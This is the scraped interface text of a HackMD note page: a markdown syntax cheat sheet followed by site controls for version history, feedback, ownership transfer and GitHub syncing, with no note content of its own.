    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully